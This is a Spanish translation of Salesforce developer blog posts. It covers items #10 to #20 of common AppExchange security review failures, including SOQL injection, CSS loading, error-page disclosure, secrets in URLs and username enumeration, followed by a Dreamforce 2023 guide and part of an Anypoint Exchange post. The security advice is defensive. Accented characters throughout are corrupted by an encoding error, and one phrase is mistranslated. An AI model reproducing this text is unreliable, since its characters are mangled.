Muchos paquetes administrados por Salesforce no pasan la revisi贸n de seguridad por no almacenar JavaScript como recursos est谩ticos en sus paquetes y, en su lugar, se vinculan a archivos JavaScript alojados externamente con etiquetas <script> . La raz贸n principal de esta regla es que permite un control de versiones mucho m谩s seguro y garantiza la integridad de los archivos JavaScript en su paquete de Salesforce incluso si la fuente externa est谩 comprometida.

驴C贸mo puedo abordar esto?

Nuestra regla es que todos los recursos de script y estilo deben agregarse al paquete como recursos est谩ticos y luego cargarse con una etiqueta <apex:includeScript> en su p谩gina (para Visualforce) o un ltng:require en su .cmp o .app. marcado (para Aura).

Nota: Si tiene un LWC, defina los m贸dulos JavaScript que importe a su componente o use la funci贸n loadScript para cargar un archivo JavaScript de recursos est谩ticos.

Para paquetes que no son LWC, la mejor manera de verificar este problema es buscar manualmente su c贸digo fuente para asegurarse de que todas las bibliotecas de JavaScript est茅n almacenadas como recursos est谩ticos, no cargadas din谩micamente a trav茅s de hiperv铆nculos.

Para situaciones en las que esto no sea factible, recomendamos programar una cita en horario de oficina t茅cnica para analizar su caso de uso. Es posible obtener una excepci贸n en ciertos casos.

Obtenga m谩s informaci贸n sobre este problema en nuestra documentaci贸n para desarrolladores .

#10 鈥 Inyecci贸n SOQL

驴Qu茅 es esto?

La inyecci贸n SOQL es la versi贸n espec铆fica de Salesforce de la inyecci贸n SQL. Ocurre cuando una entrada no validada proporcionada por el usuario se inserta directamente en una consulta SOQL din谩mica. Si la entrada no est谩 validada, puede incluir comandos SOQL que modifican efectivamente la declaraci贸n SOQL y enga帽an a la aplicaci贸n para que ejecute comandos no deseados.

驴C贸mo puedo abordar esto?

La forma m谩s sencilla de evitar el problema es evitar consultas din谩micas en favor de consultas est谩ticas y utilizar variables vinculantes. De lo contrario, deber谩 validar estrictamente las entradas del usuario antes de usarlas en consultas mediante t茅cnicas como encasillamiento, lista blanca de entradas o escape.

Code Analyzer , PMD para VS Code y Checkmarx tambi茅n pueden ayudarlo a escanear su c贸digo.

Para obtener m谩s informaci贸n, consulte nuestro m贸dulo Trailhead o revise nuestra documentaci贸n para desarrolladores .

Para aplicaciones que no son de Salesforce, es posible que desee obtener m谩s informaci贸n sobre la inyecci贸n SQL en la gu铆a OWASP . Los esc谩neres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , tambi茅n pueden ayudar a identificar problemas de inyecci贸n SQL.

#11 鈥 Lightning: carga CSS inadecuada

驴Qu茅 es esto?

Similar al problema de usar etiquetas <script> o <link> para cargar JavaScript en sus paquetes, usar etiquetas <link> o <style> para cargar CSS en lugar de <apex:stylesheet> (Visualforce) o <ltng:require> ( Aura) se considera una pr谩ctica insegura. Estas etiquetas <link> y <style> pueden hacer referencia a recursos externos o en l铆nea que contienen CSS o JavaScript, y la arquitectura de seguridad Lightning Web Security (LWS) de Salesforce no los controla ni los desinfecta.

Para los componentes de Aura, en particular, el uso de <ltng:require> tambi茅n permite a Salesforce aplicar correctamente las reglas de seguridad LWS y garantizar que el CSS que est谩 cargando est茅 correctamente aislado y no incluya c贸digo o estilos JavaScript no seguros que puedan afectar negativamente a otros. partes de su aplicaci贸n Salesforce.

驴C贸mo puedo abordar esto?

Para hacer referencia a un recurso CSS externo que haya subido como recurso est谩tico, use una etiqueta <apex:stylesheet> en su p谩gina (para Visualforce) o una etiqueta <ltng:require> en su marcado .cmp o .app (para Aura ). Busque el c贸digo fuente de su paquete para asegurarse de que no haya utilizado etiquetas <link> o <style> en ning煤n lugar para cargar recursos CSS.

Nota: Si tiene una LWC, no puede encontrarse con este problema de todos modos porque, al igual que las etiquetas <script> , las etiquetas <style> ya est谩n bloqueadas para su uso dentro de las plantillas HTML. En su lugar, incluir铆a su CSS en el archivo CSS asociado de su componente o usar铆a la funci贸n loadStyle para cargar un archivo CSS de recursos est谩ticos.

Puede encontrar m谩s informaci贸n en nuestra documentaci贸n para desarrolladores .

#12: JavaScript en Salesforce DOM (solo experiencia cl谩sica)

驴Qu茅 es esto?

Salesforce tiene reglas estrictas sobre el uso de JavaScript y una de esas reglas es que JavaScript no se puede ejecutar directamente dentro del contexto de la aplicaci贸n Salesforce. Esto significa que no puede incluir bloques de JavaScript directamente dentro de los componentes que se ejecutan en Salesforce DOM, como HomePageComponents, WebLinks, Custom Buttons, etc.

En cambio, todo JavaScript debe residir bajo el dominio de espacio de nombres de su aplicaci贸n en las p谩ginas de Visualforce que usted controla, de modo que el JavaScript personalizado est茅 esencialmente aislado del DOM principal de Salesforce. Eso significa que no puede usar JavaScript para crear botones personalizados, pesta帽as web, componentes de p谩gina de inicio y elementos similares (por ejemplo, incluir controladores de eventos de JavaScript onclick en botones personalizados podr铆a ser motivo de falla).

驴C贸mo puedo abordar esto?

Esto es algo que deber谩 verificar manualmente en el c贸digo fuente de su paquete Salesforce. Verifique y aseg煤rese de que no haya utilizado JavaScript para crear botones personalizados, pesta帽as web, componentes de la p谩gina de inicio u otros elementos similares, y verifique que cualquier JavaScript personalizado est茅 incluido solo en el dominio de su aplicaci贸n con espacio de nombres en las p谩ginas de VisualForce que controla como parte de su aplicaci贸n.

Una forma de verificar esto es buscar el texto <openType>onClickJavaScript</openType> en los archivos de metadatos de la aplicaci贸n (a menudo en archivos XML como weblink/something.weblink) y, si lo encuentra, aseg煤rese de eliminarlo. Incluso si su aplicaci贸n solo est谩 destinada a usarse en Lightning Experience, si la vulnerabilidad est谩 presente para los usuarios en modo Cl谩sico, el paquete no se puede aprobar.

Esta regla en particular no est谩 especialmente bien documentada, pero puede leer m谩s en el documento Lista de verificaci贸n de revisi贸n de seguridad de AppExchange (se requiere iniciar sesi贸n en la comunidad de socios).

#13 鈥 Divulgaci贸n de informaci贸n en p谩ginas de error y excepciones

驴Qu茅 es esto?

En el contexto de la revisi贸n de seguridad de AppExchange, este t茅rmino se refiere espec铆ficamente a situaciones (generalmente en aplicaciones o servicios web que no son de Salesforce o fuera de plataforma) donde sus p谩ginas de error muestran datos confidenciales del sistema o informaci贸n de depuraci贸n. Por ejemplo, a veces las p谩ginas de error incluyen seguimientos de pila completos que muestran c贸mo se hace referencia internamente a los objetos o rutas de archivo relativas al lugar donde est谩 instalada la aplicaci贸n. A veces, incluso la informaci贸n confidencial queda expuesta de esta manera.

驴C贸mo puedo abordar esto?

Busque en su base de c贸digo llamadas que causen excepciones o que los seguimientos de pila se representen en cadenas o flujos de salida, y realice pruebas que puedan causar errores, como entradas no v谩lidas, entradas vac铆as, entradas demasiado largas, acceso a p谩ginas internas sin autenticaci贸n, omisi贸n de aplicaciones. flujo, etc

La herramienta de fuzzing de Burp Suite puede ser una gran ayuda en este caso.

Tambi茅n puede obtener excelentes consejos para realizar pruebas de seguimiento de pila a trav茅s de esta gu铆a de OWASP .

#14 鈥 Componentes de Aura: componente externo de CSS

驴Qu茅 es esto?

Se supone que los componentes de Aura son peque帽os, aut贸nomos, reutilizables y reposicionables. CSS que evita la encapsulaci贸n de componentes (a trav茅s de .THIS) o que utiliza un posicionamiento no est谩ndar (por ejemplo, flotante o posici贸n: absoluta o fija) infringe estas garant铆as y puede interferir con la visualizaci贸n de otros componentes. En particular, el uso del posicionamiento absoluto en CSS es la raz贸n principal de este tipo de falla.

Si bien esto puede no parecer un problema de seguridad a primera vista, puede alterar el dise帽o del sitio web de Salesforce y viola el esp铆ritu del modelo de seguridad de Lightning, donde los componentes est谩n estrictamente aislados y se garantiza que permanecer谩n en su propio carril.

驴C贸mo puedo abordar esto?

Este es otro problema que debes verificar manualmente. B谩sicamente, busque en el CSS de su componente Aura, especialmente para posicionamiento absoluto/fijo o ancho y alto fijos. Tambi茅n recomendamos revisar nuestra documentaci贸n para asegurarse de que est谩 siguiendo todas las reglas CSS correctas.

#15 鈥 Canal de mensajes expuesto

驴Qu茅 es esto?

Este t茅rmino se refiere espec铆ficamente a los casos en los que no ha configurado el indicador isExposed en Lightning Message Channel en falso. Dado que esto proporciona acceso a la API del Servicio de mensajes Lightning (LMS), que le permite publicar y suscribirse a mensajes en todo el DOM y entre Aura, Visualforce y Lightning Web Components, debe establecerse en falso a menos que sea realmente necesario.

驴C贸mo puedo abordar esto?

Tiene dos opciones, seg煤n su caso de uso, que incluyen:

  1. Registre un ticket de soporte para solicitar que se habilite la eliminaci贸n de componentes administrados para su paquete u organizaci贸n de Dev Hub y elimine el componente del paquete. Si no puede hacerlo (por ejemplo, si esto afectar铆a la funcionalidad de los suscriptores que dependen de canales de mensajes expuestos), puede dejar el componente en el paquete y simplemente no usarlo (aseg煤rese de mencionar esto espec铆ficamente en un mensaje falso). documento positivo sobre su presentaci贸n).
  2. Si tiene que utilizar un componente de canal LMS, aseg煤rese de tener isExposed=false . Esto debe hacerse creando un nuevo componente de canal LMS porque los componentes existentes con isExposed=true no pueden cambiar isExposed=false . Utilice 煤nicamente el componente reci茅n creado en el c贸digo.

M谩s informaci贸n est谩 disponible en la documentaci贸n .

#16 鈥 Informaci贸n confidencial en URL

驴Qu茅 es esto?

Esto se refiere a una situaci贸n en la que se env铆a informaci贸n confidencial de larga duraci贸n en URL (por ejemplo, un ID o secreto de cliente, o un nombre de usuario/contrase帽a). En realidad, esto puede llevar a que se filtren secretos a largo plazo de varias maneras posibles. Por ejemplo:

  • Las URL completas a menudo se almacenan en servidores en registros de texto sin cifrar que pueden no almacenarse de forma segura y pueden ser vistos por el personal o comprometidos por un tercero.
  • Los motores de b煤squeda indexan URL y almacenan inadvertidamente informaci贸n confidencial
  • Almacenamiento de rutas URL completas en el historial del navegador local, cach茅 del navegador, marcadores y marcadores sincronizados entre dispositivos
  • Informaci贸n de URL enviada a aplicaciones web de terceros a trav茅s del encabezado de referencia o expuesta a scripts de terceros en la p谩gina

驴C贸mo puedo abordar esto?

Burp Suite puede ayudarle aqu铆 para aplicaciones web que no sean de Salesforce o fuera de plataforma, pero en general recomendamos comprobar manualmente su aplicaci贸n para detectar cualquier caso en el que se env铆en secretos a largo plazo a trav茅s de URL. Dependiendo de su caso de uso, es posible que deba realizar cambios, como usar solicitudes POST en lugar de solicitudes GET, cambiar su m茅todo de autenticaci贸n (OAuth 2.0 es generalmente ideal) y emplear cifrado y mejores m茅todos de almacenamiento de secretos.

La gu铆a OWASP es un gran recurso a seguir.

#17 鈥 Punto final inseguro

驴Qu茅 es esto?

El nombre de esta vulnerabilidad simplemente se refiere a situaciones en las que se utiliza HTTP en lugar de HTTPS.

驴C贸mo puedo abordar esto?

Las herramientas de escaneo pueden ser de ayuda, pero una forma a煤n m谩s segura de verificar esto es buscar en el c贸digo fuente enlaces HTTP y cambiarlos a HTTPS. Puede aprender un poco m谩s sobre c贸mo esto mejora la seguridad en esta p谩gina de OWASP .

#18 鈥 Enumeraci贸n de nombre de usuario o correo electr贸nico

驴Qu茅 es esto?

Por lo general, este problema solo surge en aplicaciones web externas fuera de la plataforma Salesforce. Se refiere a una situaci贸n en la que los atacantes pueden enumerar listas de nombres de usuario o correos electr贸nicos de su base de usuarios, generalmente analizando cambios en mensajes de error en funciones de inicio de sesi贸n, funciones de olvido de contrase帽a o registros de cuentas. Los atacantes suelen hacer esto para poder comprobar si hay contrase帽as reutilizadas de bases de datos comprometidas y fugas o volcados de contrase帽as.

驴C贸mo puedo abordar esto?

Verifique sus mensajes de error para registros de cuentas, recuperaci贸n de contrase帽as, intentos de inicio de sesi贸n, etc., y aseg煤rese de que su mensaje de error sea el mismo independientemente de si el nombre de usuario o el correo electr贸nico ingresado es v谩lido.

Por ejemplo, muchos sitios incluyen un mensaje gen茅rico, como: "Si dicho usuario existe, recibir谩 un correo electr贸nico con un restablecimiento de contrase帽a". Este tipo de mensaje general evita confirmar la existencia de un nombre de usuario o correo electr贸nico.

Por supuesto, en determinadas situaciones, puede ser inevitable (por ejemplo, durante el registro de una cuenta, es posible que deba confirmar que se ha utilizado un nombre de usuario). En esas situaciones, intente implementar controles que impidan la enumeraci贸n por fuerza bruta, como captchas para evitar que los robots eliminen su formulario de registro.

Burp Suite es una excelente herramienta para verificar esto, pero si no la tiene, tambi茅n puede revisar sus funcionalidades de inicio de sesi贸n manualmente.

OWASP tiene una gu铆a 煤til para evitar la enumeraci贸n de correos electr贸nicos y nombres de usuarios.

#19 鈥 Gesti贸n de contrase帽as

驴Qu茅 es esto?

En ocasiones, el equipo de seguridad falla en sitios y aplicaciones web externos (que no sean Salesforce) por tener pol铆ticas de contrase帽as problem谩ticas, como por ejemplo:

  • Permitir la reutilizaci贸n de la misma contrase帽a cuando es necesario restablecerla
  • No solicitar la contrase帽a anterior cuando se permite a los usuarios establecer una nueva contrase帽a
  • Para restablecer la contrase帽a, enviar una contrase帽a temporal al correo electr贸nico de un usuario en texto sin formato
  • Dejar contrase帽as predeterminadas en los usuarios ra铆z del servidor o de la base de datos

驴C贸mo puedo abordar esto?

Adem谩s de evitar las situaciones anteriores, consulte la Hoja de referencia de autenticaci贸n de OWASP para obtener algunas pautas sobre c贸mo establecer pol铆ticas de contrase帽as seguras:

Burp Suite tambi茅n es muy 煤til para identificar problemas relacionados con las contrase帽as (por ejemplo, puede usarlo para intentar forzar sus p谩ginas de inicio de sesi贸n).

#20 鈥 Eco de contrase帽a

驴Qu茅 es esto?

Esto es un poco diferente del problema de administraci贸n de contrase帽as descrito anteriormente. Un eco de contrase帽a se refiere a situaciones en las que las contrase帽as se reflejan en texto sin formato en la interfaz de usuario (como cuando el usuario visita su propia p谩gina de configuraci贸n) o en llamadas API/respuestas JSON.

驴C贸mo puedo abordar esto?

Aseg煤rese de que su contrase帽a no se revele ni se transmita en texto sin formato en ninguna parte de su aplicaci贸n. Aseg煤rese de que en las p谩ginas de configuraci贸n u otras p谩ginas que muestran secretos, se muestren solo como asteriscos (se pueden mostrar al hacer clic en el bot贸n si es necesario).

Consulte la hoja de referencia sobre almacenamiento de contrase帽as de OWASP para obtener m谩s informaci贸n.

Burp Suite , o quiz谩s Chimera u OWASP ZAP , tambi茅n pueden ayudarle a detectar estos problemas.

Recursos adicionales

Si su soluci贸n incluye sitios web o aplicaciones web personalizados que no son de Salesforce, le recomendamos encarecidamente invertir en una licencia de Burp Suite si es financieramente viable para su organizaci贸n. Burp Suite es una de las mejores herramientas de seguridad del mercado y tambi茅n la utiliza mucho nuestro propio equipo de seguridad de productos. Chimera u OWASP ZAP son alternativas completamente gratuitas, pero prep谩rate para invertir m谩s tiempo en t茅rminos de revisi贸n manual, ya que carecen de muchas de las potentes funciones/herramientas que tiene Burp Suite.

Nota: Si su oferta se integra con aplicaciones o servicios web que no son de su propiedad, no intente escanear los puntos finales hasta que haya obtenido el permiso del propietario.

Salesforce Product Security tambi茅n utiliza Code Analyzer , PMD para VS Code y Checkmarx para revisar el c贸digo fuente del paquete Salesforce. Tambi茅n utilizan la base de datos CVE y el esc谩ner Qualys SSL en la mayor铆a de los env铆os.

Si tiene problemas de seguridad y necesita orientaci贸n t茅cnica, los socios ISV pueden registrarse para obtener horas de oficina gratuitas con nuestros ingenieros de seguridad a trav茅s del Portal de seguridad para socios .

Por 煤ltimo, no podemos recomendar lo suficiente Trailhead en t茅rminos de preparaci贸n para revisiones de seguridad. Vale la pena dedicar tiempo a la ruta Desarrollar aplicaciones web seguras y tambi茅n acabamos de renovar el m贸dulo Revisi贸n de seguridad de AppExchange , que analiza el proceso de env铆o de un extremo a otro.

Sobre el Autor

Anika Teppo es evangelista t茅cnica en Salesforce. Ha estado trabajando con el equipo de revisi贸n de seguridad de AppExchange en Salesforce desde 2017, y su funci贸n actual consiste en hacer que Salesforce Labs y las soluciones internas se revisen y publiquen en AppExchange.

Obtenga las 煤ltimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a trav茅s de Slack o RSS.

A帽adir a holgura Suscr铆bete a RSS

Continue reading

La gu铆a para desarrolladores de Salesforce para Dreamforce 2023 鈽侊笍

La gu铆a para desarrolladores de Salesforce para Dreamforce 2023 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

La gu铆a del desarrollador de Salesforce para Dreamforce 2023 | Blog de desarrolladores de Salesforce

隆Llamando a todos los desarrolladores de Salesforce! 驴Est谩s listo para experimentar la magia de AI + Datos + CRM en Dreamforce 2023? Hemos preparado una experiencia repleta de tres d铆as como ninguna otra, as铆 que prep谩rate para aprender, conectarte, divertirte y retribuir rodeado de compa帽eros innovadores en la conferencia de tecnolog铆a m谩s grande del mundo.

Sabemos que est谩 contando ansiosamente los d铆as hasta que comience Dreamforce, as铆 que siga leyendo para comenzar a planificar su experiencia Dreamforce perfecta, desde conferencias magistrales hasta sesiones en Developer Track y demostraciones pr谩cticas en acci贸n en Developer Grove.

Vea la 煤ltima tecnolog铆a en la conferencia magistral sobre el futuro del desarrollo

AI + Data + CRM est谩n cambiando r谩pidamente el futuro de los negocios y los desarrolladores est谩n a la vanguardia. 脷nase al presidente y director de ingenier铆a, Srini Tallapragada, y a invitados especiales para aprender todo sobre el futuro del desarrollo y c贸mo puede aprovechar la IA en su trabajo.

Si asistir谩 a Dreamforce en persona, aseg煤rese de agregar la conferencia magistral a su agenda . Si lo seguir谩 desde casa, vea la conferencia magistral completa mientras se transmite en vivo en Salesforce+ .

馃搮 Marque sus calendarios: jueves 14 de septiembre, de 1:30 a 2:20 p. m., hora del Pac铆fico
馃帳 Oradores destacados: Srini Tallapragada, Alba Rivas, Adam White, Kat Holmes, Chris Peterson, Avanthika Ramesh
A帽adir a tu agenda

Descubra los aspectos m谩s destacados de la versi贸n para desarrolladores en Developer Preview Live

Eche un primer vistazo a las principales funciones, herramientas e innovaciones para desarrolladores de la versi贸n Winter '24. Vea demostraciones en vivo de interesantes innovaciones de productos y haga preguntas a nuestros expertos en productos. Hay tantas innovaciones nuevas para los desarrolladores en esta versi贸n que 隆no querr谩s perderte esto!

馃搮 Marque sus calendarios: jueves 14 de septiembre, de 2:30 a 3:30 p. m., hora del Pac铆fico
馃帳 Oradores destacados: Aditya Naag Topalli, Mohith Shrivastava, Ewald Hofman, Danielle Larregui, Greg Whitworth, Akshata Sawant, Sarah Welker
A帽adir a tu agenda

Mejora tus habilidades en la ruta de desarrollador

Developer Track ofrece una combinaci贸n de sesiones de teatro de 20 minutos en Developer Theatre y sesiones de trabajo de 40 minutos. Espere asimilar las mejores pr谩cticas, consejos y mucha inspiraci贸n. 隆Y hay algo para todos, sin importar los temas que te apasionen! Tenemos sesiones para todos los niveles (principiante, intermedio, avanzado) en todas las funciones y temas: IA generativa, nube de datos, DevOps Center, MuleSoft, Code Builder, Apex, AppExchange, Lightning Web Components, Slack, seguridad, accesibilidad y m谩s.

馃搷 Las sesiones de calentamiento se ubicar谩n en todo Trailblazer Forest: en Developer Theatre junto a Developer Grove, Redwood Theatre, Einstein Theatre, Data Cloud Theatre y Olympic Theatre. Las sesiones de trabajo de Developer Track se llevar谩n a cabo en el segundo y tercer piso de Moscone West. Aseg煤rese de consultar su agenda para conocer la ubicaci贸n exacta de las habitaciones.

Para encontrar estas sesiones en el cat谩logo de sesiones de Dreamforce , seleccione Funci贸n en la navegaci贸n izquierda y marque Desarrollador para ver todas las sesiones etiquetadas para desarrolladores.

Algunas sesiones imperdibles para agregar a tu agenda 鉁忥笍

Descubra el poder de Einstein GPT para desarrolladores
Qu茅 esperar: La IA generativa ha arrasado en el mundo de la tecnolog铆a. Conozca las capacidades m谩s recientes de Einstein GPT y c贸mo los desarrolladores pueden utilizar la tecnolog铆a para crear sus propias aplicaciones impulsadas por IA en Salesforce.
Oradores destacados: Stephan Chandler-Garc铆a, Ananya Jha
A帽ade esta sesi贸n a tu agenda

Comprensi贸n de la nube de datos para desarrolladores de Salesforce
Qu茅 esperar: aprenda qu茅 significa Data Cloud para los desarrolladores, c贸mo se exponen sus artefactos como metadatos de plataforma familiares y c贸mo ingerir e interactuar con sus datos mediante SQL, Apex, Flows, API y SDK.
Oradores destacados: Aditya Naag Topalli, Danielle Larregui
A帽ade esta sesi贸n a tu agenda

驴Quieres un mejor c贸digo? Einstein GPT y Code Analyzer pueden ayudar
Qu茅 esperar: Impulse el desarrollo de Salesforce con el d煤o din谩mico de Einstein GPT para desarrolladores y Code Analyzer. Aprenda c贸mo optimizar la generaci贸n y validaci贸n de c贸digo directamente desde las experiencias IDE.
Oradores destacados: Gordon Bockus, Vivek Chawla
A帽ade esta sesi贸n a tu agenda

Componentes web Lightning: novedades y novedades
Qu茅 esperar: aprenda c贸mo puede utilizar Lightning Web Components para hacer que el desarrollo en Salesforce sea m谩s f谩cil y eficiente. Vea las 煤ltimas funciones disponibles para LWC y lo que se avecina en la hoja de ruta.
Oradores destacados: Alicia Teo, Alice Oh, Leo Balter
A帽ade esta sesi贸n a tu agenda

Hoja de ruta de Apex: novedades y novedades
Qu茅 esperar: Los gerentes de producto de Salesforce profundizar谩n en las funciones lanzadas recientemente y en el futuro en la hoja de ruta de Apex, incluido Einstein GPT para desarrolladores.
Oradores destacados: Daniel Ballinger, Chris Peterson
A帽ade esta sesi贸n a tu agenda

Aumente la productividad de los desarrolladores con GraphQL e IA generativa
Qu茅 esperar: Sum茅rgete en la nueva API GraphQL, donde las consultas y mutaciones se pueden combinar en una sola solicitud, ganando rendimiento y flexibilidad. Eche un vistazo a c贸mo redactar consultas con IA generativa.
Oradores destacados: Juli谩n Duque, Ben Sklar
A帽ade esta sesi贸n a tu agenda

Desarrollar componentes web Lightning para dispositivos m贸viles sin conexi贸n
Qu茅 esperar: 驴 Usuarios m贸viles sin conexi贸n? Aprenda c贸mo habilitarlos con componentes web Lightning personalizados para mostrar e incluso actualizar registros mientras un dispositivo m贸vil est谩 desconectado de Internet.
Oradora destacada: Angela Le
A帽ade esta sesi贸n a tu agenda

Gestionar dependencias y conflictos en el Centro DevOps
Qu茅 esperar: profundice en c贸mo los desarrolladores utilizan DevOps Center para gestionar el ciclo de vida del desarrollo de software. Comience con DevOps Center y aprenda a solucionar los problemas m谩s comunes, como la resoluci贸n de conflictos.
Oradores destacados: Gilson Canario, Francisco Sammartino
A帽ade esta sesi贸n a tu agenda

Cinco cosas que los desarrolladores de Salesforce deben saber sobre MuleSoft
Qu茅 esperar: 脷nase a esta sesi贸n para conocer los conceptos clave de MuleSoft que necesita saber como desarrollador de Salesforce. Nos centraremos en las mejores pr谩cticas, consejos y trucos, antipatrones y m谩s con ejemplos en vivo.
Oradores destacados: Gaurav Kheterpal, Akshata Sawant
A帽ade esta sesi贸n a tu agenda

Pon a prueba tus habilidades en Developer Grove

Developer Grove, ubicado en Trailhead Forest, es el hogar de los desarrolladores durante Dreamforce y el lugar para comenzar su viaje de aprendizaje de tres d铆as .

Nuestra principal atracci贸n este a帽o es una competencia estilo arcade que pone a prueba tus habilidades de ingenier铆a en IA. 隆Completa tantos desaf铆os como puedas en el menor tiempo posible para que tu nombre aparezca en la tabla de clasificaci贸n y puedas presumir de ello!

Visite la estaci贸n de demostraci贸n que cubre nuestras aplicaciones de muestra y recetas de c贸digo, y descubra c贸mo puede utilizarlas en su propio trabajo. Cada estaci贸n contar谩 con empleados de Salesforce que saben lo que hacen y les encanta ayudar a otros a aprender.

鉂桸ovedad de este a帽o: Estaci贸n de consultas 1:1 en Developer Grove. Los desarrolladores de Salesforce pueden registrarse para una consulta individual de 20 minutos con profesionales expertos de Salesforce. Para reservar una consulta individual, visite esta p谩gina y seleccione el tema "Desarrollador de Salesforce". Cuando haya terminado de registrarse, se le enviar谩 una confirmaci贸n por correo electr贸nico y estar谩 disponible en la aplicaci贸n Salesforce Events; desc谩rguela ahora en App Store o Google Play Store .

Otras cosas a tener en cuenta 馃憖

Conferencia principal de Dreamforce

脷nase al director ejecutivo de Salesforce, Marc Benioff, junto con invitados especiales en el discurso principal de Dreamforce para escuchar todo sobre nuestras innovaciones m谩s recientes.

馃搮 Marque sus calendarios: martes 12 de septiembre, de 10 a. m. a 12 p. m., hora del Pac铆fico
A帽ade la keynote a tu agenda

Fiel al foro principal de clientes

脷nase al cofundador y director de tecnolog铆a Parker Harris en el foro anual de clientes True to the Core. Escuche a los l铆deres de productos compartir los aspectos m谩s destacados de nuestra hoja de ruta de productos. Si nunca ha asistido, esta es una excelente sesi贸n para que los desarrolladores pregunten y escuchen las respuestas de nuestros gerentes de producto. 隆Una cosa que seguir谩 siendo 鈥渃entral鈥 en True to the Core es que habr谩 muchas preguntas!

馃搮 Marque sus calendarios: jueves 14 de septiembre, de 11:30 a. m. a 12:30 p. m., hora del Pac铆fico
A帽ade esta sesi贸n a tu agenda

Conferencia magistral de TI: cree su cliente 360 con IA confiable

Aprenda c贸mo resolver sus desaf铆os de TI m谩s dif铆ciles con IA + Datos + CRM. Escuche c贸mo los pioneros utilizan las 煤ltimas innovaciones de plataforma, nube de datos y MuleSoft para crear entornos de TI de pr贸xima generaci贸n, con potentes capacidades de IA generativa integradas.

馃搮 Marque sus calendarios: martes 12 de septiembre, de 2:30 a 3:20 p. m., hora del Pac铆fico
A帽ade esta sesi贸n a tu agenda

Celebraci贸n pionera de la noche 1

Recuperaremos la diversi贸n la primera noche de Dreamforce. 脷nase a nosotros en Trailblazer Forest de 5 a 6:30 p. m. el martes 12 de septiembre en Admin Meadow, Developer Grove y Community Cove para actividades sociales, comidas ligeras y bebidas.

Pistas de administrador y arquitecto

驴Busca diversificar su agenda en Dreamforce este a帽o? Consulte todas las sesiones de c贸digo y de c贸digo bajo en la secci贸n de administraci贸n y en la secci贸n de arquitecto . Para obtener m谩s informaci贸n sobre cada uno, lea la Gu铆a del administrador de Dreamforce 2023 .

Obtenga a煤n m谩s contenido de Dreamforce 2023 en Salesforce+

驴No puedes asistir a Dreamforce en persona? Durante los tres d铆as, las conferencias magistrales y las sesiones seleccionadas se transmitir谩n en vivo en Salesforce+. Habr谩 dos canales y 72 horas de transmisi贸n en vivo. Adem谩s de la experiencia en vivo, m谩s de 120 episodios bajo demanda estar谩n disponibles para verlos despu茅s de que finalice Dreamforce en cualquier momento y lugar.

Reg铆strese en Salesforce+ ahora para obtener acceso a todo el contenido exclusivo.

Empieza ahora

隆Dreamforce 2023 estar谩 aqu铆 antes de que te des cuenta! Siga estos pasos para prepararse:

  1. Reg铆strese para asistir a Dreamforce si a煤n no lo ha hecho.
  2. Agregue el discurso de apertura sobre el futuro del desarrollo y la vista previa de la versi贸n para desarrolladores a su agenda.
  3. Complete Road to Dreamforce 2023 Trailhead Quest antes de las 11:59 p. m. (hora del Pac铆fico) del 11 de septiembre de 2023 para desbloquear una insignia comunitaria exclusiva y participar para tener la oportunidad de ganar* una de las 25 codiciadas sudaderas con capucha Trailblazer o una de las 50 camisetas Dreamforce.* Se aplican las reglas oficiales . Consulte la p谩gina Trailhead Quests para obtener todos los detalles.
  4. Descargue la aplicaci贸n Salesforce Events en App Store o Google Play Store para realizar un seguimiento de todo lo que hay en su agenda en un lugar de f谩cil acceso.
  5. Con茅ctese con sus pares en el grupo comunitario Salesforce Developers Trailblazer.
  6. Si no asiste en persona, aseg煤rese de registrarse para la experiencia Salesforce+.
  7. Seguir @salesforcedevs en Twitter y LinkedIn para obtener m谩s actualizaciones.

Sobre el Autor

Kaitlin Benz es especialista s茅nior en marketing de desarrolladores en Salesforce. Lo que m谩s le apasiona es la narraci贸n de historias, los podcasts y la comida vegana. Encu茅ntrala en LinkedIn .

Obtenga las 煤ltimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a trav茅s de Slack o RSS.

A帽adir a holgura Suscr铆bete a RSS

Continue reading

Cierre el ciclo de comentarios con el uso de activos de intercambio y las m茅tricas de participaci贸n 鈽侊笍

Cierre el ciclo de comentarios con el uso de activos de intercambio y las m茅tricas de participaci贸n 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Cierre el ciclo de retroalimentaci贸n con el uso de activos de Exchange y las m茅tricas de participaci贸n | Blog de desarrolladores de Salesforce

Como desarrollador, desea que su ciclo de desarrollo sea altamente eficiente. Parte de eso implica 1) descubrir y reutilizar f谩cilmente los activos relevantes con confianza y 2) comprender d贸nde y c贸mo se usan (y reutilizan) sus activos, para que pueda tomar decisiones informadas.

Anypoint Exchange , un componente clave de Anypoint Platform, permite a los desarrolladores y administradores crear r谩pida y f谩cilmente redes de aplicaciones y empresas componibles . Se integra a la perfecci贸n en el "flujo de trabajo" de los clientes y brinda capacidades para producir y consumir activos reutilizables . Los activos son recursos que se pueden crear, descubrir y compartir. Exchange admite varios tipos de recursos reutilizables, incluidos varios tipos de API (REST, GraphQL, etc.), fragmentos de especificaciones de API, recursos personalizados, ejemplos, recursos de integraci贸n (conectores, etc.) y recursos de automatizaci贸n (RPA, etc.).

Un componente de la propuesta de valor central de Exchange es impulsar la eficiencia a trav茅s de la reutilizaci贸n: los activos reutilizables y preconstruidos ayudan a impulsar el viaje del desarrollador. El nuevo panel de compromiso de activos lo ayuda a cuantificar el compromiso y el uso (impulsores clave de la reutilizaci贸n) por activo, ofreciendo informaci贸n sobre el rendimiento de sus activos.

Los beneficios clave de esta nueva caracter铆stica incluyen:

  • Impulse el crecimiento, el compromiso y la reutilizaci贸n en todo el cat谩logo
  • Acceda a m茅tricas de uso y puntajes de participaci贸n para obtener una vista compuesta de c贸mo se utilizan sus activos
  • Realice un seguimiento y gestione la adopci贸n de activos con paneles listos para usar
  • Vea an谩lisis de rendimiento de toda su biblioteca de activos en un solo lugar

Panel de m茅tricas de participaci贸n de activos (vista de administrador)

